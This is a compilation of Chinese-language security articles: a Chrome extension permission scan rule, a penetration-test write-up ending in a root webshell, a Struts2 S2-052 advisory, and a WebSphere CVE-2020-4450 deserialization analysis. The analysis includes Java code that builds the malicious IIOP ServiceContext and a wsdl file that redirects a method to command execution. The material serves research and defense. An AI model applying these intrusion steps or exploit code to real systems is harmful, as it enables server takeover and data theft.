In other words, when the plug-in applies for activeTab permission, even if the
browser information cannot be obtained, the tab page can be arbitrarily
operated.
What's more, for most plug-in users, they don't care about what permissions
the plug-in has applied for, so even if the plug-in developer needs permission
to apply, it will not affect the use. Under this concept, security issues
arise.
# Data in real world
After rough statistics, more than 40,000 chrome exts are now publicly
available on the chrome store, excluding browser plug-ins that are privately
distributed.
In order to be able to reflect the real world impact as much as possible, here
we randomly select 1200 chrome plugins and get some results from this part of
the plugin. It is worth noting that the permissions mentioned below do not
necessarily mean that the plugin is not secure, but when the plugin obtains
such permissions, it has the ability to complete the unrest Full operation.
Here we use Cobra-W's new Chrome ext scan function to scan and analyze the
1200 targets we selected.
<https://github.com/LoRexxar/Cobra-W>
python3 cobra.py -t '..\chrome_target\' -r 4104 -lan chromeext -d
# `<all-url>`
After the plugin obtains similar permissions like `<all-url>` or `*: // * /
*`, the plugin can operate all open tabs and can execute arbitrary js and css
code silently.
We can scan with the following rules:
class CVI_4104:
"""
rule for chrome crx
"""
def __init__(self):
self.svid = 4104
self.language = "chromeext"
self.author = "LoRexxar"
self.vulnerability = "Manifest.json permissions "
self.description = "Manifest.json permissions "
# status
self.status = True
#
self.match_mode = "special-crx-keyword-match"
self.keyword = "permissions"
self.match = [
"http://*/*",
"https://*/*",
"*://*/*",
"<all_urls>",
"http://*/",
"https://*/",
"activeTab",
]
self.match = list(map(re.escape, self.match))
self.unmatch = []
self.vul_function = None
def main(self, regex_string):
"""
regex string input
:regex_string: regex match string
:return:
"""
pass
a total of 585 plugins applied for related permissions in 1200 plugins we
randomly selected.
Most of these plugins have applied for relatively wide coverage.
## other
Then we mainly scan the sensitive API permissions mentioned above. The number
of plugins related to permissions is as follows:
# Reference
* <https://developer.chrome.com/extensions/devguide>
# About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/#/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
# 【技术分享】数据库连接池信息泄露引起的主机沦陷实战记录
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[myles007](http://bobao.360.cn/member/contribute?uid=749283137)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
本篇实战文档主要是跟大家交流分享学习一份因为一个由于“xml配置文件”的信息泄露在配合各种配置不当和平台漏洞的情况下，最终引发的一起主机沦陷的个人渗透测试学习笔记，仅为个人的学习总结，希望各位路过大大多多指点。
**1\. xml配置文件信息泄露**
通过前期的信息收集，发现了配置文件web.xml直接暴露在网络中，通过读取发现了“数据库连接池”与“后台管理”的访问目录信息。
**2\. 数据库连接池账号密码暴露**
通过前面数据连接池目录/pool/的挖掘，我们可以直接访问本目录，通过目录信息的读取，我们发现平台直接连接后台数据库的账号和密码信息。
**3\. 管理后台暴露**
通过前面配置文件信息泄露的后台管理路径信息，我们直接访问目录/admin，可以直接找到后台的管理界面，具体信息如下。
**4\. 数据库登陆尝试**
我们在获取数据库登陆账号后，直接尝试连接数据库管理后台，通过尝试发现竟然可以直接登录成功，并成功读取了数据库root账号的密码以及后台管理账号的密码信息。
**4.1. 数据库管理账号信息挖掘**
**4.2. 后台管理账号密码挖掘**
**5\. 尝试写入jsp脚本测试**
我们在获取后台数据库控制权限后，为进一步获取主机的控制权限，首先想到尝试使用数据库的写入操作权，直接写入jsp脚本，获取主机的控制权限。
**5.1. 尝试写入jsp脚本**
**5.1.1. 写入路径查找**
对于写入路径查找，最直接的方法就是访问系统登录页面的的图片路径，收集其存放的的路径信息，当然这里的路径信息可能是相对路径信息，而非物理路径信息，不过我们可以直接测试下，也许我们的运气比较好呢。
图片存放路径收集：/eis/images/login/default/
**5.1.2. 写入jsp脚本尝试**
我们在获取图片存放路径后，直接尝试进行测试文件的写入，尝试后发现写入失败，具体截图如下。
报错小结：写入报错，回显显示，没有创建和写入权限，那么一般出现这个情况的可能有两种：
1\. 我们写入的路径是一个相对路径，并非真实的网站物理路径，故没创建和写入权限；
2\. 这个路径的确是物理路径，但是我们真的没有写入权限；
有了以上的总结，我们现在直接写入jsp脚本的想法就泡汤了，接下来我们还是按部就班的去找下apache配置文件，从配置文件中收集站点的真实物理路径信息。
**5.1.3. Apache中间配置文件的读取尝试**
由于我们已经获取了数据库的后台管理权限，此时我们可以通过后台管理权限进行数据库的“mysql安装目录”、“mysql数据存放目录”以及“mysql的插件目录”，然后进行apache配置文件信息的猜测和读取，具体操作如下。
（1） 数据库相关路径信息收集
>select @@datadir;#数据库存放路径查询
>select @@basedir;#数据库安装路径查询
>select @@plugin_dir; #数据库第三方插件存放路径查询
（2） apache配置文件的读取
通过上面数据库相关目录信息的读取，我们可以猜测apache中间配置文件的路径可能是：/opt/thirdsoft-2.0/apache2/conf/httpd.conf
此时我们通过数据库文件读取函数进行配置文件信息的读取，这里由于直接命令行读取时文件显示不全，这里直接使用了一个数据库管理软件进行登录操作。可能我们的人品比较好，竟然真的读取到了apached的配置文件httpd.conf的内容，我们从其中的DocumentRoot找到的网站的真实存放路径，且到这里我们知道了前面图片路径信息收集时，收集到的路径”/eis”，其实它是个“别名路径”，这里做的还是很到位的。
DocumentRoot "/home/ema/ema-3.4.1/web"
Alias /eis "/home/ema/ema-3.4.1/web"
通过apache配置文件的读取，我们看到站点物理路径是：/home/ema/ema-3.4.1/web/
接下来，就是尝试找到一个可以写入文件的路径，我直接使用数据库写入函数进行jsp脚本的写入了。
**5.2. 再次尝试写入jsp脚本**
首先我们尝试写入一个测试文本，看是否有写入权限，操作如下。
运气差了点，还是没有写入权限，估计是数据库进程运行权限被降权了，无写入权限。
**6\. 尝试通过udf自定义函数提权测试**
**6.1. plugin 插件目录查询**
**6.2. 尝试写入文件测试**
通过写入函数，写入测试数据，写入失败，操作过程如下。
测试结果：写入测试文件失败，可能还是由于当前数据库运行权限过低或目标服务器上并没有plugin目录，默认情况下5.0以上版本是没有此目录的。
**7\. 上传点getshell测试**
以上各种测试失败后，我们尝试直接登录后台查找上传点，查找可以上传jsp脚本的利用点，这里笔者实际测试中测试了多个上传点，最后在平台首页定制的位置找到一个上传点，并成功获取了webshell，且其权限为root权限，有关具体测试利用过程如下。
**7.1. 图片上传测试**
通过在获取直接上传图片测试，看是否可以找到真实图片的物理访问路径。
**7.1.1. 测试过程**
（1） 图片上传
直接进行1.jpg图片文件的上传，收集上传后服务返回的相关信息。
（2） 物理路径信息收集
通过图片上传成功后，我们收集到了图片上后的“物理访问路径信息”，具体信息如下：
http://x.x.x.x/eis/images/login/custom/1.jpg
**7.1.2. 测试结果**
找到图片上传的物理访问路径：http://x.x.x.x/eis/images/login/custom/1.jpg
**7.2. 直接上传1.jsp脚本测试**
**7.2.1. 测试过程**
我们现在直接上传1.jsp木马脚本，测试是否可以上传成功。
**7.2.2. 测试结果**
直接上传1.jsp木马脚本失败了，进过测试发现应该是应用后台对文件类型有安全过滤与检测。
**7.3. 尝试抓包改包进行1.jsp上传测试**
直接上传1.jsp脚本失败后，我们接下来尝试使用抓包改包绕过的方式，测试脚本上传的可能。
**7.3.1. 测试过程**
增加文件类型（jsp）测试
通过抓包，我们可以发现当前我们直接上传1.jsp文件的数据包中，有关文件类型仅有图片类型：jpg|gif||png|bmp，故我们测试增加一种jsp文件类型的支持，然后重新发包测试是否可以上传1.jsp成功，经过测试发现1.jsp上传成功。
**7.3.2. 测试结果**
通过增加上传文件类型的支持，直接绕过了后台的检查，上传1.jsp恶意脚本成功，只要后续能过正常解析1.jsp，即可直接拿下服务。
**7.4. 直接上菜刀getshell**
**7.4.1. 测试过程**
此时我们直接访问1.jsp的物理访问路径，测试其是否可以正常解析，访问情况截图如下。
通过上面的访问测试，可以获取1.jsp可以被正常解析，接下了就是上菜刀，直接getshell了。
**7.4.2. 测试结果**
通过菜刀连接可以获悉，我们直接拿到服务器的root控制权限，服务器彻底沦陷。
**8\. 主机沦陷回顾**
**8.1. 本次主机沦陷的整个过程：**
（1） 首先，是由于“xml敏感信息泄露”引发数据库连接池目录与管理后台目录信息的泄露；
（2） 随后，由于数据库连接池映射目录的暴露，导致数据库管理账号与密码信息直接暴露在web页面；
（3） 而后，由于数据库的管理允许远程的登录访问，在收集了数据库账号密码信息的情况，又导致了数据库的沦陷；
（4） 再次，就是由于后台管理系统管理账号密码的被读取，导致后台的沦陷；
（5） 最后，我们在后台上找到了上传点的存在，最终导致了平台主机的沦陷。
**8.2. 安全加固建议**
（1） 对于敏感目录要设置访问控制策略，禁止WEB页面的直接访问，对于不需要的目录连接信息可以考虑删除操作；
（2） 对于管理后台，应下发相应的访问控制策略，当然是在业务允许的条件下进行；
（3） 对于数据库管理，应该想法严格的访问控制，禁止外网的直接登录访问，将数据库的外在威胁降到最低；
（4） 最后是应用平台，也应进行相应的整改，加强对于上传文件的内容进行后台检查，禁止jsp这类脚本文件直接上传的可能； | 社区文章 |
# 【漏洞分析】Apache Struts2–052 漏洞分析预警
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**传送门**
[**【漏洞预警】Apache
Struts2插件高危漏洞(S2-052)**](http://bobao.360.cn/news/detail/4291.html)
****
**0x00 漏洞描述**
The REST Plugin is using a XStreamHandler with an instance of XStream for
deserialization without any type filtering and this can lead to Remote Code
Execution when deserializing XML payloads. — Apache Struts 官方安全通告(参考1)
2017年9月5日，Apache Struts发布最新安全公告，Apache
Struts2的REST插件存在远程代码执行的高危漏洞，该漏洞由lgtm.com的安全研究员汇报，漏洞编号为CVE-2017-9805（S2-052）。Struts2
REST插件的XStream组件存在反序列化漏洞，使用XStream组件对XML格式的数据包进行反序列化操作时，未对数据内容进行有效验证，存在安全隐患，可被远程攻击。
Struts2启用了rest-plugin后并编写并设置了 **XStreamHandler** 后，可以导致远程命令执行这一严重问题。
**0x01 漏洞影响面**
**影响面**
确定CVE-2017-9805为高危漏洞。 实际场景中存在一定局限性，需要满足一定条件，非struts本身默认开启的组件。
**影响版本**
Version 2.5.0 to 2.5.12
Version 2.3.0 to 2.3.33
**修复版本**
Struts 2.5.13
Struts 2.3.34
**0x02 漏洞详情**
**技术细节**
文件 **/org/apache/struts2/rest/ContentTypeInterceptor.java**
在struts2 rest-plugin 中的处理逻辑里接受到对应格式的消息时，会调用已经注册的对应 **handler** 的
**handler.toObject** 方法对其进行实例化，在这里传入的xml消息，所以就会跳转到已经定义的 **XStreamHandler**
的toObject方法
在经过此处的 **fromXML** 方法后导致实例化的恶意对象被执行，导致恶意代码执行
随即看到计算器被成功弹出
**漏洞修复**
新版本中增加了 **XStreamPermissionProvider**
并且对原先有问题的 **createXStream** 进行重写，增加了校验，拒绝不安全的类执行
**0x03 漏洞利用验证**
**0x04 修复建议**
1.官方建议设置插件处理的数据类型限定为json
<constant name="struts.action.extension" value="xhtml,,json" />
2.升级Struts到2.5.13版本或2.3.34版本
3.在XStreamHandler中进行数据校验或检查
**0x05 时间线**
2017-09-05 漏洞披露
2017-09-06 360CERT发布预警分析通告
**0x06 参考链接**
Apache Struts 安全通告 <http://struts.apache.org/docs/s2-052.html>
**传送门**
[**【漏洞预警】Apache
Struts2插件高危漏洞(S2-052)**](http://bobao.360.cn/news/detail/4291.html) | 社区文章 |
**作者：Lucifaer
原文链接：[https://lucifaer.com/2020/08/21/WebSphere...](https://lucifaer.com/2020/08/21/WebSphere%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%EF%BC%88CVE-2020-4450%EF%BC%89/#3-3-%E6%9E%84%E9%80%A0RMI-Server%E7%BB%91%E5%AE%9A "https://lucifaer.com/2020/08/21/WebSphere...")**
该漏洞本身其实并不是非常好用，但是对于分析来说，确实是今年以来比较有意思的一个漏洞了，值得所有做Java漏洞研究的人员进行跟进和学习。
# 0x01 漏洞概述
IBM WebSphere Application
Server（后面简称WAS）在今年6月发布了一则漏洞通告，cve编号为：CVE-2020-4450。该漏洞允许攻击者通过`iiop`向WAS进行网络请求，最终在WAS上执行任意代码。
在7月，ZDI公布了[漏洞细节](https://www.zerodayinitiative.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere)，同天iswin师傅也发布了他[对此漏洞的分析](https://www.secrss.com/articles/24353)，8月6日，360cert的小伙伴也公布了他自己的[分析](https://cert.360.cn/report/detail?id=3d016bdef66b8e29936f8cb364f265c8)，本文是参考以上三篇文章完成的，主要用于记录自己的调试过程，以及补充相关的分析细节。
# 0x02 漏洞分析
该漏洞主要分为三部分：
* `TXServerInterceptor`拦截器处理`iiop`请求
* 利用`WSIF`构造Gadget
* 伪造`wsdl`文件完成漏洞利用
本文将从上而下将三部分进行串流分析，主要采用静态跟踪，最后会在漏洞利用部分分享如何创建相关数据流完成整条流程的串通。
## 2.1 TXServerInterceptor拦截器处理iiop请求
这一部分`tinit0`在19年的bh上其实已经做了[相关的分享](https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf)，这里只是记录一下自己的跟进流程。
`TXServerInterceptor`具体代码在`com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request`，这里只截关键部分的代码：
拦截器首先会根据`ServerRequestInfo`实例化`ServiceContext`对象，当`serviceContext.context_data`对象非空时可以进入`TxInterceptorHelper.demarshalContext`解析流程，而这里就是漏洞的起始点。
跟进`TxInterceptorHelper.demarshalContext()`方法：
对Corba处理稍微熟悉一点的可以很明显的看出这里为Corba
rpc流程中的解包流程。根据传入的`bypte`数组初始化`CDRInputStream`对象用于后续进行反序列化操作。在完成`CDRInputStream`初始化后，调用`read_any()`方法初始化`Any`对象。
由于IBM自己重新实现了具体的IIOP解析流程，所以不能先入为主的用JDK原生处理逻辑来思考后续漏洞调用流程。
我们首先来跟进一下`CDRInputStream`的初始化逻辑，后续流程会用到其所定义的`CDRReader`：
这里最终返回`EncoderInputStream`对象，并设置`reader`对象为`com.ibm.rmi.iiop.CDRInputStream`，`reader`会在后续流程中用到。
现在跟进`inputStream.read_any()`：
具体实现为`com.ibm.rmi.iiop.CDRInputStream#reade_any`。由于`CDRInputStream`中未实现`read_any()`方法则调用`com.ibm.rmi.iiop.CDRReader#read_any`：
：
其中最为关键的逻辑就是`Any.read_value()`。到这里为止，经历了以下流程：
CDRInputStream初始化 ->
CDRInputStream.read_any() ->
CDRInputStream.read_value()
看过之前那篇简述`Corba`文章的，可能已经清楚了，JDK原生实现逻辑在后续会触发反序列化流程，而IBM的实现方式却不尽相同，后续会触发反射调用的流程。
跟进`Any.read_value()`方法：
首先会将传入的`TypeCode`转化为真正的`TypeCode`，之后调用`TCUtility.unmarshalIn()`对传入的`InputStream`进行解包操作，想要查看全部的`TypeCode`的话，可以查看`org.omg.CORBA.TCKind#from_int`。这里我们重点关注`tk_value`，也就是`TypeCode`为29的情况：
接下来的调用逻辑为：
org.omg.CORBA_2_3.portable.InputStream#read_value ->
com.ibm.rmi.iiop.EncoderInputStream#read_value ->
com.ibm.rmi.iiop.CDRReader#read_value
在`com.ibm.rmi.iiop.CDRReader#read_value()`中存在关键逻辑：
在`this.fast_read_value_ludcl();`中对`this.valueClass`进行了初始化：
最终通过`com.ibm.rmi.util.ClassCache#loadClass`调用JDK反射完成类的实例化。这里不做重点跟踪，感兴趣的可以自己跟一下。
这里主要跟进一下`his.valueHandler.readValue()`方法的处理流程：
调用了`this.inputStreamBridge.simpleReadObject()`最终返回一个`Serializable`对象，继续跟进：
红框标注了两个重要的流程，`simpleReadObjectInternal`方法和`simpleReadObjectLoop`，这两个方法存在一定的区别。
#### simpleReadObjectInternal
`simpleReadObjectInternal`首先根据`valueClass`的类型进行流程分派，之后会向上轮询查找父类同时将`subClass`保存在`pendingReadStack`中。判断父类是否存在`readObject`方法，如果没有则将完成初步处理的对象传入`simpleReadObjectLoop`中对其子类进行反序列化。
这里会会向上轮询查找父类同时将`subClass`保存在`pendingReadStack`中，跟进看一下`addSubclass()`方法：
其将相关信息都进行了设置，这些设置在`simpleReadObjectLoop`中会用到。继续跟进：
此处会判断父类中是否存在`readObject`方法，若不存在则完成后续处理逻辑并进入`simpleReadObjectLoop`逻辑之中。
#### simpleReadObjectLoop
`simpleReadObjectLoop`会遍历`pendingReadStack`中的子类，并调用`continueSimpleReadObject()`方法尝试反序列化。
此处的`var2.obj`、`var2.classDesc`、`var2.fvd`在`simpleReadObjectInternal`中都已经进行了设置。跟进`inputObjectUsingClassDesc()`方法，和`simpleReadObjectInternal`是相同的逻辑，先判断是否存在`readObject`方法，如果存在则调用`readObject`方法进行反序列化操作：
至此漏洞的触发点就梳理完毕了。
## 2.2 利用WSIF构造Gadget
### 2.2.1 WSIF更改执行流
在具体梳理漏洞gadget前，先用一个例子来简单介绍一下`Apache WSIF`。
`WSIF`全称Web服务调用框架，是一组用于调用Web服务的Java
API。其和`wsdl`描述文件强关联，`wsdl`文件用于描述与Web服务的抽象结构进行交互，可以理解为Web服务API的描述文件。
首先创建一个接口，该接口用于与对应的`wsdl`文件对应：
然后本地实现`Gadget`接口，这里为了简单，直接将`exec()`方法实现为执行命令：
具体的调用为：
`WSIFServiceFactory.getService()`方法文档如下：
可以看到这里主要需要以下几个参数：
* `javax.wsdl.Definition`：wsdl文件的位置
* `portTypeNs`：用于标识port的NameSpace，相当于配置的命名空间
* `portTypeName`：`port`的名字，在wsdl中`portType`为接口对象的xml表示
这里的`WSIFService.getStub(Gadget.class)`方法最终返回的是一个`Gadget`类型的代理对象。
wsdl文件定义如下：
<?xml version="1.0" ?>
<definitions targetNamespace="http://wsifservice.addressbook/"
xmlns:tns="http://wsifservice.addressbook/"
xmlns:xsd="http://www.w3.org/1999/XMLSchema"
xmlns:format="http://schemas.xmlsoap.org/wsdl/formatbinding/"
xmlns:java="http://schemas.xmlsoap.org/wsdl/java/"
xmlns="http://schemas.xmlsoap.org/wsdl/">
<message name="ExecRequestMessage">
<part name="command" type="xsd:string"/>
</message>
<!-- port type declns -->
<portType name="Gadget">
<operation name="exec">
<input name="ExecRequest" message="tns:ExecRequestMessage"/>
</operation>
</portType>
<!-- binding declns -->
<binding name="JavaBinding" type="tns:Gadget">
<java:binding/>
<format:typeMapping encoding="Java" style="Java">
<format:typeMap typeName="xsd:string" formatType="java.lang.String" />
</format:typeMapping>
<operation name="exec">
<java:operation
methodName="exec"
parameterOrder="command"
methodType="instance"
/>
</operation>
</binding>
<!-- service decln -->
<service name="GadgetService">
<port name="JavaPort" binding="tns:JavaBinding">
<java:address className="com.lucifaer.wsif_gadget.service.GadgetImpl"/>
</port>
</service>
</definitions>
运行效果如下：
现在我们在不改动`Main`代码的情况下（即不改变运行逻辑）让其执行el表达式解析（即实现不同的逻辑）。为了方便测试，只改变`Main`中`exec()`方法的参数（可以理解为这里是可控的值）：
修改`wsdl`如下：
执行结果如下：
通过上面两个例子 **可以简单的将WSIF理解为接口的描述文件，而接口方法的具体实现是根据`wsdl`配置而进行绑定的**。
**所以当在面对一个存在`WSIF`调用的逻辑时，可以考虑使用自定义的`wsdl`来将执行流引向符合条件的其他实现中**。
### 2.2.2 Gadget执行流
根据ZDI的文章，`tint0`找到了一个存在`readObject`方法的类，并且该类会触发`JNDI`逻辑，这个类就是`org.apache.wsif.providers.ejb.WSIFPort_EJB`：
`HomeHandle.getEJBHome()`虽然也会触发JNDI流程，但是由于在具体实现时没有对返回回的代理类对象的相关方法进行引用，无法触发后续的gadget逻辑，所以此处需要构造一个`Handle`对象，而非一个`HomeHandle`对象。
现在我们可以先继续跟着`Handle.getEJBObject()`的逻辑向下看，看到后面就可以理解为什么选择构造`Handle`对象了。
跟进`com.ibm.ejs.container.EntityHandle#getEJBObject`，此处是整个Gadget的主要执行逻辑：
总结一下分为三步:
* JNDI返回一个`EJBHome`类型的对象
* 检查返回对象的`EJBHome`对象是否存在`findByPrimaryKey`方法
* 反射调用`EJBHome`对象的`findByPrimaryKey`对象
首先来看
home = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.homeJNDIName), homeClass);
由于最终返回类型为`EJBHome`，可以得知`homeClass`为`EJBHome`接口的具体实现类，且`ctx.lookup(this.homeJNDIName)`必须为`EJBHome`子类。
接着跟进`com.ibm.ejs.container.EntityHandle#findFindByPrimaryKey`查看`homeClass`需要满足的条件：
可以看到必须存在`findByPrimaryKey`方法。在`EJBHome`的继承树中寻找符合条件的类有：
com.ibm.ejs.security.registry.RegistryEntryHome
com.ibm.ws.batch.AbstractResourceHome
com.ibm.ws.batch.CounterHome
com.ibm.ws.batch.LocalJobStatusHome
目前先不管构造哪个接口的具体实现类，先来看一下`ctx.lookup()`的具体实现，调用栈：
com.sun.jndi.rmi.registry.RegistryContext#lookup
com.sun.jndi.rmi.registry.RegistryContext#decodeObject
javax.naming.spi.NamingManager#getObjectInstance
org.apache.aries.jndi.OSGiObjectFactoryBuilder#getObjectInstance(java.lang.Object, javax.naming.Name, javax.naming.Context, java.util.Hashtable<?,?>)
org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstance
跟进`org.apache.aries.jndi.ObjectFactoryHelper#getObjectInstanceViaContextDotObjectFactories(java.lang.Object,
javax.naming.Name, javax.naming.Context, java.util.Hashtable<?,?>,
javax.naming.directory.Attributes)`：
这里的`factory`为`ObjectFactory`接口的具体实现，而`factory`是可以通过`environment`自定义实现的，所以这里可以通过修改`environment`的配置更改执行流。
tint0这里找到的可以用`ObjectFactory`为`org.apache.wsif.naming.WSIFServiceObjectFactory`：
由于`ctx.lookup()`最终要求返回的是`EJBHome`的实现类，而`WSIFService`接口并非`EJBHome`的子类，所以选择下面的流程。根据2.2.1中的叙述，可以明显的看出这里调用了`WSIF`流程。
这里重新放一下`WSIFServiceFactory.getService()`方法的文档：
对应实现的代码：
注意红框标注的相关代码，`WSIF`所需要的基础参数我们都可以通过`Reference`对象获得。通过指定`className`，我们还可以指定生成的`stub`动态代理对象的类型，当设置其为`EJBHome`的具体实现类时，可以完美的匹配我们之前的需求。
而通过自定义`wsdl`文件，我们可以将接口方法映射到其他的具体实现中，改变具体接口的执行流。
## 2.3 伪造wsdl文件完成漏洞利用
根据2.2.2中的内容，我们回看触发JNDI流程处的代码：
在2.2.2中也说过，这里的`home`对象要满足两个条件：
* 是`EJBHome`的具体实现类
* 存在`findByPrimaryKey`方法
搜索`EJBHome`的继承树，满足条件的有：
com.ibm.ejs.security.registry.RegistryEntryHome
com.ibm.ws.batch.AbstractResourceHome
com.ibm.ws.batch.CounterHome
com.ibm.ws.batch.LocalJobStatusHome
所以如果构造`Reference`对象中的`className`为其中一个类，并设置好`wsdl`文件中对应接口方法的映射，即可完成我们想要控制的逻辑。
仔细研究一下上面所列举的可用的`EJBHome`接口子类：
其中`com.ibm.ws.batch.CounterHome`是最容易构造的，可以配合`javax.el.ELProcessor`执行`el`表达式，最终导致命令执行。
所以只需要造好`wsdl`，让`CounterHome`的`findByPrimaryKey`方法的具体实现指向`javax.el.ELProcessor`的`eval`方法，在返回了`CounterHome`动态代理对象后，会利用反射调用其`findByPrimaryKey`也就是我们通过`wsdl`绑定的`javax.el.ELProcessor#eval`方法，完成表达式执行。
攻击流程可以总结如下：
至此漏洞梳理完毕。
# 0x03 漏洞利用
根据0x02的分析，可以得出想要利用成功该漏洞所需的必备因素：
* IIOP请求构造（满足进入触发点的context）
* 构造`org.apache.wsif.providers.ejb.WSIFPort_EJB`所需的序列化数据（最终反序列化对象的类型为`Handle`）
* 构造`wsdl`文件更改接口方法的具体实现
* 构造`JNDI server`使其返回指定的`Reference`对象
接下来会对上述流程进行逐一叙述。
## 3.1 IIOP请求构造
回看`com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request`：
要注意两个点：
* `ServiceContext.context_data`非空，且包含我们构造的序列化Gadget
* `TxProperties.SINGLE_PROCESS`为`true`
重点来看一下`ServiceContext`获取逻辑，跟进`((ExtendedServerRequestInfo)sri).getRequestServiceContext(0)`，调用逻辑如下：
com.ibm.rmi.pi.ServerRequestInfoImpl#getRequestServiceContext
com.ibm.rmi.iiop.ServerRequestImpl#getServiceContext
com.ibm.rmi.iiop.RequestMessage#getServiceContext
com.ibm.rmi.iiop.ServiceContextList#getServiceContext
根据调用栈我们可以看到是从`com.ibm.rmi.iiop.RequestMessage`对象中获取`ServiceContext`对象的，在`etServiceContext`方法中：
会遍历`ServiceContextList`，提取id为`0`的`ServiceContext`。但是由于没有编号为`0`的`ServiceContext`，所以返回的是空。
仔细读一下官方文档，官方文档中有提及如何在RMI请求中插入`ServiceContext`的做法，可以参考[文档](https://publib.boulder.ibm.com/tividd/td/ITMFTP/SC32-9412-00/en_US/HTML/arm48.htm)进行理解：
可以看到最终是调用`ExtendedClientRequestInfo`(`ClientRequestInfo`的父类)的`add_request_service_context`方法完成自定义`ServiceContext`的设置。那么关键点就是，我们如何从client端将`ServiceContext`设置到`ExtendedClientRequestInfo`中。
在跟踪了ibm自定义的通信过程后，可以发现在`ORB`中的`GIOPImpl`在调用`createRequest`方法时会实例化`ClientRequestImpl`对象：
这里有两个地方需要注意：
* 获取`Connection`对象
* 根据获取的`Connection`对象获取`ServiceContext`
首先先看一下是如何从`Connection`对象中获取到`ServiceContext`的：
可以看到直接是调用`Connection#getServiceContexts`方法。
之后跟进`ClientRequestImpl`初始化逻辑：
将获取到的`ServiceContext`作为参数传入到`RequestMessage`的构造函数中。这里就和服务端跟到的逻辑相符。
梳理一下思路，构造`IIOP`请求的关键点为：
* 进行第一次请求，初始化获取到的`Context`对象
* 获取`ORB`
* 获取`ORB`中的`GIOPImpl`
* 获取`Connection`对象
* 调用`setConnectionContexts`将构造好的`ServiceContext`设置到`Connection`对象中
* 进行第二次请求，触发`RequestMessage`对象的重新发送
具体构造可以动态调试一下，利用反射完成相关的值设置。
最终构造如下：
Properties env = new Properties();
env.put(Context.PROVIDER_URL, "iiop://192.168.211.128:2809");
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");
InitialContext context = new InitialContext(env);
context.list("");
Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx");
f_defaultInitCtx.setAccessible(true);
WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context);
Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");
f_context.setAccessible(true);
CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);
Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");
f_corbaNC.setAccessible(true);
_NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);
Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate");
f__delegate.setAccessible(true);
ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC);
Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");
f_ior.setAccessible(true);
IOR ior = (IOR) f_ior.get(clientDelegate);
Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");
f_orb.setAccessible(true);
ORB orb = (ORB) f_orb.get(clientDelegate);
GIOPImpl giop = (GIOPImpl) orb.getServerGIOP();
Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, Profile.class, ClientDelegate.class, String.class);
getConnection.setAccessible(true);
Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, "Lucifaer");
Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);
setConnectionContexts.setAccessible(true);
byte[] result = new byte[]{0, 0};
ServiceContext serviceContext = new ServiceContext(0, result);
ArrayList v4 = new ArrayList();
v4.add(serviceContext);
setConnectionContexts.invoke(connection, v4);
context.list("");
## 3.2 构造所需的序列化数据
在2.1的分析中，我们知道要满足触发反序列化流程需要进行特殊构造。漏洞触发点为`inputStream.read_any()`，为了满足上方对`inputStream`相关数据的提取，所以需要特殊构造`byte[]`：
既然存在`demarshalContext`方法，那一定存在`marshalContext`方法：
按照上面的方法直接生成符合要求的`byte[]`：
CDROutputStream outputStream = ORB.createCDROutputStream();
outputStream.putEndian();
Any any = orb.create_any();
PropagationContext propagationContext = new PropagationContext(
0,
new TransIdentity(null, null, new otid_t(0, 0, new byte[0])),
new TransIdentity[0],
any
);
PropagationContextHelper.write(outputStream, propagationContext);
result = outputStream.toByteArray();
在满足了触发点后，我们需要构造gadget满足条件：
* 构造一个`org.apache.wsif.providers.ejb.WSIFPort_EJB`对象，其中还需要构造`WSIFPort_EJB#readObject`方法传入值反序列化得到一个`javax.ejb.Handle`对象。
* 构造`EntityHandle`对象
